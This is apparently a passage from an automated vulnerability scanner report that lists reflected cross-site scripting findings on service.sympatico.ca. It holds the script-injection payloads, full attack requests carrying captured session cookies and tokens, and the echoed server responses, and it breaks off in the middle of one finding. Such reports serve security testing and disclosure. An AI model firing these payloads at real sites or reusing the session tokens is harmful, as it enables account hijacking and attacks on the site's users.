Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:06 GMT
Connection: close
Set-Cookie: SMSESSION=EdzNnWbUVbowSuvWTxzb0EnfTzTKjV74jLgWw/WWPvDkG6ki6l5G4+rc2f2KLFisTpfbhMQsHDRqodiKngsg5CY7SjPNcpUCgfmPDvF2ikwDLlLHRftzYee0PbcNUBNUerYaOQPAb5VKTVgXoLhLNEwE5+rnbDsXFqmC1/xWCKCcB5bnaRLEIYW/NNx6QcoIxJNMB93P66S7O6dBOlpvu9T6WfRRM9hDrR+87og/8wi8ZASjVkrpxkz3GD/WbGd/KAvdvbm/sna5Kxk6U9BBFjASB3v4a0xJqJVmq3F/f3jK8kEN1DGkLg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
co.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png173ff"><script>alert(1)</script>0c75ba30b01" />
...[SNIP]...

2.173. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28b91"><script>alert(1)</script>69608018b15 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png?28b91"><script>alert(1)</script>69608018b15=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:28 GMT
Connection: close
Set-Cookie: SMSESSION=wcBLx58+VC5IqR9BzMqiJSPGF5jTz7xyFUaVn/kPj8F0C9OQnIzq22N3SD8PlWlnLGE/cUACLmWjkvch1scM1LgXnpFcrR2ci/i0GoLdrTHuJP8FXKTNhyVPTYLjCYpKIbtqGYY4g9ZQ0eT0dFZ27rUKS176CoMUpyS0QehFkNgH1gJNDBrdBIpNHDvVCStlTyEVhPBeM3h3dJSd5Pt2pf0ZGUJqm0D6w5UMoktlOFrC4sKWB8rBrm+D54ZLAPFJBoSFTR+rmRYJjSpaB3HJ1ST2Fwhk1j1sRfW/x+r0MyVl/lbyhJTZXQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:28 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:28 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:28 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:28 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
o.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png?28b91"><script>alert(1)</script>69608018b15=1" />
...[SNIP]...

2.174. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af78e"><script>alert(1)</script>6c7cf6ab859 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Caf78e"><script>alert(1)</script>6c7cf6ab859/images/map_canadaOff.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:55 GMT
Connection: close
Set-Cookie: SMSESSION=781LvAqgZvt0JrSrdrWYYGzBgelhTc7EZDiF2ggfpcaTBU73GEUPqEQNogYrikHanJWU9rp5GBiP6qGm3uI2Woyy+sVvLz1qHF7lI5dUQVMrAmUPItjnV+AAwcfNNn/TJ0bJwdiLMXey7cEllu2oy7Ha8xXohKsxuhNFomqW0TQLKkcKgo00OGSoFIXB+3mPn0njYfvATocjHoLI2pON8aTEYXe5C/sUrQxPgI3XFhs9ZnB7R8VSXZuW+8jA2hMPTQ2Ca/D7qlRC1Z5kRqduAmmfLVQUNPVp9pqX92r1Yp2ZYnS+86StzA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:56 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Caf78e"><script>alert(1)</script>6c7cf6ab859/images/map_canadaOff.gif" />
...[SNIP]...

2.175. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10650"><script>alert(1)</script>a9e6ab78af5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

